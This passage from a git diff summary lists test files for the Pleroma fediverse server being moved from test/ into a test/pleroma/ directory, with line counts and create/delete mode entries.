test/plugs/session_authentication_plug_test.exs | 63 - test/plugs/set_format_plug_test.exs | 38 - test/plugs/set_locale_plug_test.exs | 46 - test/plugs/set_user_session_id_plug_test.exs | 45 - test/plugs/uploaded_media_plug_test.exs | 43 - test/plugs/user_enabled_plug_test.exs | 59 - test/plugs/user_fetcher_plug_test.exs | 41 - test/plugs/user_is_admin_plug_test.exs | 37 - test/registration_test.exs | 59 - test/repo_test.exs | 80 - test/reverse_proxy/reverse_proxy_test.exs | 336 --- test/runtime_test.exs | 11 - test/safe_jsonb_set_test.exs | 16 - test/scheduled_activity_test.exs | 105 - test/signature_test.exs | 134 -- test/stats_test.exs | 122 -- test/support/captcha/mock.ex | 28 + test/support/captcha_mock.ex | 28 - test/upload/filter/anonymize_filename_test.exs | 42 - test/upload/filter/dedupe_test.exs | 32 - test/upload/filter/mogrifun_test.exs | 44 - test/upload/filter/mogrify_test.exs | 41 - test/upload/filter_test.exs | 33 - test/upload_test.exs | 287 --- test/uploaders/local_test.exs | 55 - test/uploaders/s3_test.exs | 88 - test/user/notification_setting_test.exs | 21 - test/user_invite_token_test.exs | 96 - test/user_relationship_test.exs | 130 -- test/user_search_test.exs | 362 ---- test/user_test.exs | 2124 ------------------ .../activity_pub/activity_pub_controller_test.exs | 1550 -------------- test/web/activity_pub/activity_pub_test.exs | 2260 -------------------- .../mrf/activity_expiration_policy_test.exs | 84 - .../mrf/anti_followbot_policy_test.exs | 72 - .../mrf/anti_link_spam_policy_test.exs | 166 -- .../activity_pub/mrf/ensure_re_prepended_test.exs | 92 - .../mrf/force_bot_unlisted_policy_test.exs | 60 - .../activity_pub/mrf/hellthread_policy_test.exs | 92 - test/web/activity_pub/mrf/keyword_policy_test.exs | 225 -- .../mrf/mediaproxy_warming_policy_test.exs | 53 - test/web/activity_pub/mrf/mention_policy_test.exs | 96 - test/web/activity_pub/mrf/mrf_test.exs | 90 - .../mrf/no_placeholder_text_policy_test.exs | 37 - .../web/activity_pub/mrf/normalize_markup_test.exs | 42 - .../activity_pub/mrf/object_age_policy_test.exs | 148 -- .../activity_pub/mrf/reject_non_public_test.exs | 100 - test/web/activity_pub/mrf/simple_policy_test.exs | 539 ----- .../activity_pub/mrf/steal_emoji_policy_test.exs | 68 - test/web/activity_pub/mrf/subchain_policy_test.exs | 33 - test/web/activity_pub/mrf/tag_policy_test.exs | 123 -- .../mrf/user_allowlist_policy_test.exs | 31 - .../activity_pub/mrf/vocabulary_policy_test.exs | 106 - .../object_validators/types/date_time_test.exs | 36 - .../object_validators/types/object_id_test.exs | 41 - .../object_validators/types/recipients_test.exs | 31 - .../object_validators/types/safe_text_test.exs | 30 - test/web/activity_pub/pipeline_test.exs | 179 -- test/web/activity_pub/publisher_test.exs | 365 ---- test/web/activity_pub/relay_test.exs | 168 -- test/web/activity_pub/side_effects_test.exs | 639 ------ .../transmogrifier/announce_handling_test.exs | 172 -- .../transmogrifier/chat_message_test.exs | 171 -- .../transmogrifier/delete_handling_test.exs | 114 - .../transmogrifier/emoji_react_handling_test.exs | 61 - .../transmogrifier/follow_handling_test.exs | 208 -- .../transmogrifier/like_handling_test.exs | 78 - .../transmogrifier/undo_handling_test.exs | 185 -- test/web/activity_pub/transmogrifier_test.exs | 1220 ----------- test/web/activity_pub/utils_test.exs | 548 ----- test/web/activity_pub/views/object_view_test.exs | 84 - test/web/activity_pub/views/user_view_test.exs | 180 -- test/web/activity_pub/visibilty_test.exs | 230 -- .../controllers/admin_api_controller_test.exs | 2034 ------------------ .../controllers/config_controller_test.exs | 1465 ------------- .../controllers/invite_controller_test.exs | 281 --- .../media_proxy_cache_controller_test.exs | 167 -- .../controllers/oauth_app_controller_test.exs | 220 -- .../controllers/relay_controller_test.exs | 99 - .../controllers/report_controller_test.exs | 372 ---- .../controllers/status_controller_test.exs | 202 -- test/web/admin_api/search_test.exs | 190 -- test/web/admin_api/views/report_view_test.exs | 146 -- test/web/api_spec/schema_examples_test.exs | 43 - test/web/auth/auth_test_controller_test.exs | 242 --- test/web/auth/authenticator_test.exs | 42 - test/web/auth/basic_auth_test.exs | 46 - test/web/auth/pleroma_authenticator_test.exs | 48 - test/web/auth/totp_authenticator_test.exs | 51 - test/web/chat_channel_test.exs | 41 - test/web/common_api/common_api_test.exs | 1244 ----------- test/web/common_api/common_api_utils_test.exs | 593 ----- test/web/fallback_test.exs | 80 - test/web/federator_test.exs | 173 -- test/web/feed/tag_controller_test.exs | 197 -- test/web/feed/user_controller_test.exs | 265 --- test/web/instances/instance_test.exs | 152 -- test/web/instances/instances_test.exs | 124 -- test/web/masto_fe_controller_test.exs | 85 - .../account_controller/update_credentials_test.exs | 529 ----- .../controllers/account_controller_test.exs | 1536 ------------- .../controllers/app_controller_test.exs | 60 - .../controllers/auth_controller_test.exs | 159 -- .../controllers/conversation_controller_test.exs | 209 -- .../controllers/custom_emoji_controller_test.exs | 23 - .../controllers/domain_block_controller_test.exs | 79 - .../controllers/filter_controller_test.exs | 152 -- .../controllers/follow_request_controller_test.exs | 74 - .../controllers/instance_controller_test.exs | 87 - .../controllers/list_controller_test.exs | 176 -- .../controllers/marker_controller_test.exs | 131 -- .../controllers/media_controller_test.exs | 146 -- .../controllers/notification_controller_test.exs | 626 ------ .../controllers/poll_controller_test.exs | 171 -- .../controllers/report_controller_test.exs | 95 - .../scheduled_activity_controller_test.exs | 139 -- .../controllers/search_controller_test.exs | 413 ---- .../controllers/status_controller_test.exs | 1743 --------------- .../controllers/subscription_controller_test.exs | 199 -- .../controllers/suggestion_controller_test.exs | 18 - .../controllers/timeline_controller_test.exs | 560 ----- .../mastodon_api/mastodon_api_controller_test.exs | 34 - test/web/mastodon_api/mastodon_api_test.exs | 103 - test/web/mastodon_api/views/account_view_test.exs | 575 ----- .../mastodon_api/views/conversation_view_test.exs | 44 - test/web/mastodon_api/views/list_view_test.exs | 32 - test/web/mastodon_api/views/marker_view_test.exs | 29 - .../mastodon_api/views/notification_view_test.exs | 231 -- test/web/mastodon_api/views/poll_view_test.exs | 167 -- .../views/scheduled_activity_view_test.exs | 68 - test/web/mastodon_api/views/status_view_test.exs | 664 ------ .../mastodon_api/views/subscription_view_test.exs | 23 - test/web/media_proxy/invalidation_test.exs | 68 - test/web/media_proxy/invalidations/http_test.exs | 43 - test/web/media_proxy/invalidations/script_test.exs | 30 - .../media_proxy/media_proxy_controller_test.exs | 342 --- test/web/media_proxy/media_proxy_test.exs | 234 -- test/web/metadata/feed_test.exs | 18 - test/web/metadata/metadata_test.exs | 49 - test/web/metadata/opengraph_test.exs | 96 - test/web/metadata/player_view_test.exs | 33 - test/web/metadata/rel_me_test.exs | 21 - test/web/metadata/restrict_indexing_test.exs | 27 - test/web/metadata/twitter_card_test.exs | 150 -- test/web/metadata/utils_test.exs | 32 - .../web/mongooseim/mongoose_im_controller_test.exs | 81 - test/web/node_info_test.exs | 188 -- test/web/oauth/app_test.exs | 44 - test/web/oauth/authorization_test.exs | 77 - test/web/oauth/ldap_authorization_test.exs | 135 -- test/web/oauth/mfa_controller_test.exs | 306 --- test/web/oauth/oauth_controller_test.exs | 1232 ----------- test/web/oauth/token/utils_test.exs | 53 - test/web/oauth/token_test.exs | 72 - test/web/ostatus/ostatus_controller_test.exs | 338 --- .../controllers/account_controller_test.exs | 284 --- .../controllers/chat_controller_test.exs | 410 ---- .../controllers/conversation_controller_test.exs | 136 -- .../controllers/emoji_pack_controller_test.exs | 604 ------ .../controllers/emoji_reaction_controller_test.exs | 149 -- .../controllers/mascot_controller_test.exs | 73 - .../controllers/notification_controller_test.exs | 68 - .../controllers/scrobble_controller_test.exs | 60 - .../two_factor_authentication_controller_test.exs | 264 --- .../views/chat/message_reference_view_test.exs | 72 - test/web/pleroma_api/views/chat_view_test.exs | 49 - test/web/pleroma_api/views/scrobble_view_test.exs | 20 - test/web/plugs/federating_plug_test.exs | 31 - test/web/plugs/plug_test.exs | 91 - test/web/push/impl_test.exs | 344 --- test/web/rel_me_test.exs | 48 - test/web/rich_media/aws_signed_url_test.exs | 82 - test/web/rich_media/helpers_test.exs | 86 - test/web/rich_media/parser_test.exs | 176 -- test/web/rich_media/parsers/twitter_card_test.exs | 127 -- test/web/static_fe/static_fe_controller_test.exs | 196 -- test/web/streamer/streamer_test.exs | 767 ------- test/web/twitter_api/password_controller_test.exs | 81 - .../twitter_api/remote_follow_controller_test.exs | 350 --- .../twitter_api/twitter_api_controller_test.exs | 138 -- test/web/twitter_api/twitter_api_test.exs | 432 ---- test/web/twitter_api/util_controller_test.exs | 437 ---- test/web/uploader_controller_test.exs | 43 - test/web/views/error_view_test.exs | 36 - test/web/web_finger/web_finger_controller_test.exs | 94 - test/web/web_finger/web_finger_test.exs | 116 - test/workers/cron/digest_emails_worker_test.exs | 54 - test/workers/cron/new_users_digest_worker_test.exs | 45 - test/workers/scheduled_activity_worker_test.exs | 49 - test/xml_builder_test.exs | 65 - 515 files changed, 51957 insertions(+), 51956 deletions(-) delete mode 100644 test/activity/ir/topics_test.exs delete mode 100644 test/activity_test.exs delete mode 100644 test/bbs/handler_test.exs delete mode 100644 test/bookmark_test.exs delete mode 100644 test/captcha_test.exs delete mode 100644 test/chat/message_reference_test.exs delete mode 100644 test/chat_test.exs delete mode 100644 test/config/config_db_test.exs delete mode 100644 test/config/deprecation_warnings_test.exs delete mode 100644 test/config/holder_test.exs delete mode 100644 test/config/loader_test.exs delete mode 100644 test/config/transfer_task_test.exs delete mode 100644 test/config_test.exs delete mode 100644 test/conversation/participation_test.exs delete mode 100644 test/conversation_test.exs delete mode 100644 test/docs/generator_test.exs delete mode 100644 test/earmark_renderer_test.exs delete mode 100644 test/emails/admin_email_test.exs delete mode 100644 test/emails/mailer_test.exs delete mode 100644 test/emails/user_email_test.exs delete mode 100644 test/emoji/formatter_test.exs delete mode 100644 test/emoji/loader_test.exs delete mode 100644 test/emoji_test.exs delete mode 100644 test/federation/federation_test.exs delete mode 100644 test/filter_test.exs delete mode 100644 test/following_relationship_test.exs delete mode 100644 test/formatter_test.exs delete mode 100644 test/healthcheck_test.exs delete mode 100644 test/html_test.exs delete mode 100644 test/http/adapter_helper/gun_test.exs delete mode 100644 test/http/adapter_helper/hackney_test.exs delete mode 100644 test/http/adapter_helper_test.exs delete mode 100644 test/http/request_builder_test.exs delete mode 100644 test/http_test.exs delete mode 100644 test/integration/mastodon_websocket_test.exs delete mode 100644 test/job_queue_monitor_test.exs delete mode 100644 test/keys_test.exs delete mode 100644 test/list_test.exs delete mode 100644 test/marker_test.exs delete mode 100644 test/mfa/backup_codes_test.exs delete mode 100644 test/mfa/totp_test.exs delete mode 100644 test/mfa_test.exs delete mode 100644 test/migration_helper/notification_backfill_test.exs delete mode 100644 test/moderation_log_test.exs delete mode 100644 test/notification_test.exs delete mode 100644 test/object/containment_test.exs delete mode 100644 test/object/fetcher_test.exs delete mode 100644 test/object_test.exs delete mode 100644 test/otp_version_test.exs delete mode 100644 test/pagination_test.exs create mode 100644 test/pleroma/activity/ir/topics_test.exs create mode 100644 test/pleroma/activity_test.exs create mode 100644 test/pleroma/bbs/handler_test.exs create mode 100644 test/pleroma/bookmark_test.exs create mode 100644 test/pleroma/captcha_test.exs create mode 100644 test/pleroma/chat/message_reference_test.exs create mode 100644 test/pleroma/chat_test.exs create mode 100644 test/pleroma/config/deprecation_warnings_test.exs create mode 100644 test/pleroma/config/holder_test.exs create mode 100644 test/pleroma/config/loader_test.exs create mode 100644 test/pleroma/config/transfer_task_test.exs create mode 100644 test/pleroma/config_db_test.exs create mode 100644 test/pleroma/config_test.exs create mode 100644 test/pleroma/conversation/participation_test.exs create mode 100644 test/pleroma/conversation_test.exs create mode 100644 test/pleroma/docs/generator_test.exs create mode 100644 test/pleroma/earmark_renderer_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/date_time_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/object_id_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/recipients_test.exs create mode 100644 test/pleroma/ecto_type/activity_pub/object_validators/safe_text_test.exs create mode 100644 test/pleroma/emails/admin_email_test.exs create mode 100644 test/pleroma/emails/mailer_test.exs create mode 100644 test/pleroma/emails/user_email_test.exs create mode 100644 test/pleroma/emoji/formatter_test.exs create mode 100644 test/pleroma/emoji/loader_test.exs create mode 100644 test/pleroma/emoji_test.exs create mode 100644 test/pleroma/filter_test.exs create mode 100644 test/pleroma/following_relationship_test.exs create mode 100644 test/pleroma/formatter_test.exs create mode 100644 test/pleroma/healthcheck_test.exs create mode 100644 test/pleroma/html_test.exs create mode 100644 test/pleroma/http/adapter_helper/gun_test.exs create mode 100644 test/pleroma/http/adapter_helper/hackney_test.exs create mode 100644 test/pleroma/http/adapter_helper_test.exs create mode 100644 test/pleroma/http/request_builder_test.exs create mode 100644 test/pleroma/http_test.exs create mode 100644 test/pleroma/instances/instance_test.exs create mode 100644 test/pleroma/instances_test.exs create mode 100644 test/pleroma/integration/federation_test.exs create mode 100644 test/pleroma/integration/mastodon_websocket_test.exs create mode 100644 test/pleroma/job_queue_monitor_test.exs create mode 100644 test/pleroma/keys_test.exs create mode 100644 test/pleroma/list_test.exs create mode 100644 test/pleroma/marker_test.exs create mode 100644 test/pleroma/mfa/backup_codes_test.exs create mode 100644 test/pleroma/mfa/totp_test.exs create mode 100644 test/pleroma/mfa_test.exs create mode 100644 test/pleroma/migration_helper/notification_backfill_test.exs create mode 100644 test/pleroma/moderation_log_test.exs create mode 100644 test/pleroma/notification_test.exs create mode 100644 test/pleroma/object/containment_test.exs create mode 100644 test/pleroma/object/fetcher_test.exs create mode 100644 test/pleroma/object_test.exs create mode 100644 test/pleroma/otp_version_test.exs create mode 100644 test/pleroma/pagination_test.exs create mode 100644 test/pleroma/registration_test.exs create mode 100644 test/pleroma/repo_test.exs create mode 100644 test/pleroma/reverse_proxy_test.exs create mode 100644 test/pleroma/runtime_test.exs create mode 100644 test/pleroma/safe_jsonb_set_test.exs create mode 100644 test/pleroma/scheduled_activity_test.exs create mode 100644 test/pleroma/signature_test.exs create mode 100644 test/pleroma/stats_test.exs create mode 100644 test/pleroma/upload/filter/anonymize_filename_test.exs create mode 100644 test/pleroma/upload/filter/dedupe_test.exs create mode 100644 test/pleroma/upload/filter/mogrifun_test.exs create mode 100644 test/pleroma/upload/filter/mogrify_test.exs create mode 100644 test/pleroma/upload/filter_test.exs create mode 100644 test/pleroma/upload_test.exs create mode 100644 test/pleroma/uploaders/local_test.exs create mode 100644 test/pleroma/uploaders/s3_test.exs create mode 100644 test/pleroma/user/notification_setting_test.exs create mode 100644 test/pleroma/user_invite_token_test.exs create mode 100644 test/pleroma/user_relationship_test.exs create mode 100644 test/pleroma/user_search_test.exs create mode 100644 test/pleroma/user_test.exs create mode 100644 test/pleroma/web/activity_pub/activity_pub_controller_test.exs create mode 100644 test/pleroma/web/activity_pub/activity_pub_test.exs create mode 100644 test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/mention_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/simple_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/tag_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf_test.exs create mode 100644 test/pleroma/web/activity_pub/pipeline_test.exs create mode 100644 test/pleroma/web/activity_pub/publisher_test.exs create mode 100644 test/pleroma/web/activity_pub/relay_test.exs create mode 100644 test/pleroma/web/activity_pub/side_effects_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier_test.exs create mode 100644 test/pleroma/web/activity_pub/utils_test.exs create mode 100644 test/pleroma/web/activity_pub/views/object_view_test.exs create mode 100644 test/pleroma/web/activity_pub/views/user_view_test.exs create mode 100644 test/pleroma/web/activity_pub/visibility_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/config_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/invite_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/relay_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/report_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/status_controller_test.exs create mode 100644 test/pleroma/web/admin_api/search_test.exs create mode 100644 test/pleroma/web/admin_api/views/report_view_test.exs create mode 100644 test/pleroma/web/api_spec/schema_examples_test.exs create mode 100644 test/pleroma/web/auth/auth_controller_test.exs create mode 100644 test/pleroma/web/auth/authenticator_test.exs create mode 100644 test/pleroma/web/auth/basic_auth_test.exs create mode 100644 test/pleroma/web/auth/pleroma_authenticator_test.exs create mode 100644 test/pleroma/web/auth/totp_authenticator_test.exs create mode 100644 test/pleroma/web/chat_channel_test.exs create mode 100644 test/pleroma/web/common_api/utils_test.exs create mode 100644 test/pleroma/web/common_api_test.exs create mode 100644 test/pleroma/web/fallback_test.exs create mode 100644 test/pleroma/web/federator_test.exs create mode 100644 test/pleroma/web/feed/tag_controller_test.exs create mode 100644 test/pleroma/web/feed/user_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/account_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/app_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/list_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/media_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/report_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/search_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/status_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/masto_fe_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs create mode 100644 test/pleroma/web/mastodon_api/mastodon_api_test.exs create mode 100644 test/pleroma/web/mastodon_api/update_credentials_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/account_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/conversation_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/list_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/marker_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/notification_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/poll_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/scheduled_activity_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/status_view_test.exs create mode 100644 test/pleroma/web/mastodon_api/views/subscription_view_test.exs create mode 100644 test/pleroma/web/media_proxy/invalidation/http_test.exs create mode 100644 test/pleroma/web/media_proxy/invalidation/script_test.exs create mode 100644 test/pleroma/web/media_proxy/invalidation_test.exs create mode 100644 test/pleroma/web/media_proxy/media_proxy_controller_test.exs create mode 100644 test/pleroma/web/media_proxy_test.exs create mode 100644 test/pleroma/web/metadata/player_view_test.exs create mode 100644 test/pleroma/web/metadata/providers/feed_test.exs create mode 100644 test/pleroma/web/metadata/providers/open_graph_test.exs create mode 100644 test/pleroma/web/metadata/providers/rel_me_test.exs create mode 100644 test/pleroma/web/metadata/providers/restrict_indexing_test.exs create mode 100644 test/pleroma/web/metadata/providers/twitter_card_test.exs create mode 100644 test/pleroma/web/metadata/utils_test.exs create mode 100644 test/pleroma/web/metadata_test.exs create mode 100644 test/pleroma/web/mongoose_im_controller_test.exs create mode 100644 test/pleroma/web/node_info_test.exs create mode 100644 test/pleroma/web/o_auth/app_test.exs create mode 100644 test/pleroma/web/o_auth/authorization_test.exs create mode 100644 test/pleroma/web/o_auth/ldap_authorization_test.exs create mode 100644 test/pleroma/web/o_auth/mfa_controller_test.exs create mode 100644 test/pleroma/web/o_auth/o_auth_controller_test.exs create mode 100644 test/pleroma/web/o_auth/token/utils_test.exs create mode 100644 test/pleroma/web/o_auth/token_test.exs create mode 100644 test/pleroma/web/o_status/o_status_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/account_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/views/chat_message_reference_view_test.exs create mode 100644 test/pleroma/web/pleroma_api/views/chat_view_test.exs create mode 100644 test/pleroma/web/pleroma_api/views/scrobble_view_test.exs create mode 100644 test/pleroma/web/plugs/admin_secret_authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/basic_auth_decoder_plug_test.exs create mode 100644 test/pleroma/web/plugs/cache_control_test.exs create mode 100644 test/pleroma/web/plugs/cache_test.exs create mode 100644 test/pleroma/web/plugs/ensure_authenticated_plug_test.exs create mode 100644 test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs create mode 100644 test/pleroma/web/plugs/ensure_user_key_plug_test.exs create mode 100644 test/pleroma/web/plugs/federating_plug_test.exs create mode 100644 test/pleroma/web/plugs/http_security_plug_test.exs create mode 100644 test/pleroma/web/plugs/http_signature_plug_test.exs create mode 100644 test/pleroma/web/plugs/idempotency_plug_test.exs create mode 100644 test/pleroma/web/plugs/instance_static_test.exs create mode 100644 test/pleroma/web/plugs/legacy_authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs create mode 100644 test/pleroma/web/plugs/o_auth_plug_test.exs create mode 100644 test/pleroma/web/plugs/o_auth_scopes_plug_test.exs create mode 100644 test/pleroma/web/plugs/plug_helper_test.exs create mode 100644 test/pleroma/web/plugs/rate_limiter_test.exs create mode 100644 test/pleroma/web/plugs/remote_ip_test.exs create mode 100644 test/pleroma/web/plugs/session_authentication_plug_test.exs create mode 100644 test/pleroma/web/plugs/set_format_plug_test.exs create mode 100644 test/pleroma/web/plugs/set_locale_plug_test.exs create mode 100644 test/pleroma/web/plugs/set_user_session_id_plug_test.exs create mode 100644 test/pleroma/web/plugs/uploaded_media_plug_test.exs create mode 100644 test/pleroma/web/plugs/user_enabled_plug_test.exs create mode 100644 test/pleroma/web/plugs/user_fetcher_plug_test.exs create mode 100644 test/pleroma/web/plugs/user_is_admin_plug_test.exs create mode 100644 test/pleroma/web/push/impl_test.exs create mode 100644 test/pleroma/web/rel_me_test.exs create mode 100644 test/pleroma/web/rich_media/helpers_test.exs create mode 100644 test/pleroma/web/rich_media/parser_test.exs create mode 100644 test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs create mode 100644 test/pleroma/web/rich_media/parsers/twitter_card_test.exs create mode 100644 test/pleroma/web/static_fe/static_fe_controller_test.exs create mode 100644 test/pleroma/web/streamer_test.exs create mode 100644 test/pleroma/web/twitter_api/controller_test.exs create mode 100644 test/pleroma/web/twitter_api/password_controller_test.exs create mode 100644 test/pleroma/web/twitter_api/remote_follow_controller_test.exs create mode 100644 test/pleroma/web/twitter_api/twitter_api_test.exs create mode 100644 test/pleroma/web/twitter_api/util_controller_test.exs create mode 100644 test/pleroma/web/uploader_controller_test.exs create mode 100644 test/pleroma/web/views/error_view_test.exs create mode 100644 test/pleroma/web/web_finger/web_finger_controller_test.exs create mode 100644 test/pleroma/web/web_finger_test.exs create mode 100644 test/pleroma/workers/cron/digest_emails_worker_test.exs create mode 100644 test/pleroma/workers/cron/new_users_digest_worker_test.exs create mode 100644 test/pleroma/workers/scheduled_activity_worker_test.exs create mode 100644 test/pleroma/xml_builder_test.exs delete mode 100644 test/plugs/admin_secret_authentication_plug_test.exs delete mode 100644 test/plugs/authentication_plug_test.exs delete mode 100644 test/plugs/basic_auth_decoder_plug_test.exs delete mode 100644 test/plugs/cache_control_test.exs delete mode 100644 test/plugs/cache_test.exs delete mode 100644 test/plugs/ensure_authenticated_plug_test.exs delete mode 100644 test/plugs/ensure_public_or_authenticated_plug_test.exs delete mode 100644 test/plugs/ensure_user_key_plug_test.exs delete mode 100644 test/plugs/http_security_plug_test.exs delete mode 100644 test/plugs/http_signature_plug_test.exs delete mode 100644 test/plugs/idempotency_plug_test.exs delete mode 100644 test/plugs/instance_static_test.exs delete mode 100644 test/plugs/legacy_authentication_plug_test.exs delete mode 100644 test/plugs/mapped_identity_to_signature_plug_test.exs delete mode 100644 test/plugs/oauth_plug_test.exs delete mode 100644 test/plugs/oauth_scopes_plug_test.exs delete mode 100644 test/plugs/rate_limiter_test.exs delete mode 100644 test/plugs/remote_ip_test.exs delete mode 100644 test/plugs/session_authentication_plug_test.exs delete mode 100644 test/plugs/set_format_plug_test.exs delete mode 100644 test/plugs/set_locale_plug_test.exs delete mode 100644 test/plugs/set_user_session_id_plug_test.exs delete mode 100644 test/plugs/uploaded_media_plug_test.exs delete mode 100644 test/plugs/user_enabled_plug_test.exs delete mode 100644 test/plugs/user_fetcher_plug_test.exs delete mode 100644 test/plugs/user_is_admin_plug_test.exs delete mode 100644 test/registration_test.exs delete mode 100644 test/repo_test.exs delete mode 100644 test/reverse_proxy/reverse_proxy_test.exs delete mode 100644 test/runtime_test.exs delete mode 100644 test/safe_jsonb_set_test.exs delete mode 100644 test/scheduled_activity_test.exs delete mode 100644 test/signature_test.exs delete mode 100644 test/stats_test.exs create mode 100644 test/support/captcha/mock.ex delete mode 100644 test/support/captcha_mock.ex delete mode 100644 test/upload/filter/anonymize_filename_test.exs delete mode 100644 test/upload/filter/dedupe_test.exs delete mode 100644 test/upload/filter/mogrifun_test.exs delete mode 100644 test/upload/filter/mogrify_test.exs delete mode 100644 test/upload/filter_test.exs delete mode 100644 test/upload_test.exs delete mode 100644 test/uploaders/local_test.exs delete mode 100644 test/uploaders/s3_test.exs delete mode 100644 test/user/notification_setting_test.exs delete mode 100644 test/user_invite_token_test.exs delete mode 100644 test/user_relationship_test.exs delete mode 100644 test/user_search_test.exs delete mode 100644 test/user_test.exs delete mode 100644 test/web/activity_pub/activity_pub_controller_test.exs delete mode 100644 test/web/activity_pub/activity_pub_test.exs delete mode 100644 test/web/activity_pub/mrf/activity_expiration_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/anti_followbot_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/anti_link_spam_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/ensure_re_prepended_test.exs delete mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/hellthread_policy_test.exs delete mode 100644 test/web/activity_pub/mrf/keyword_policy_test.exs delete mode 100644 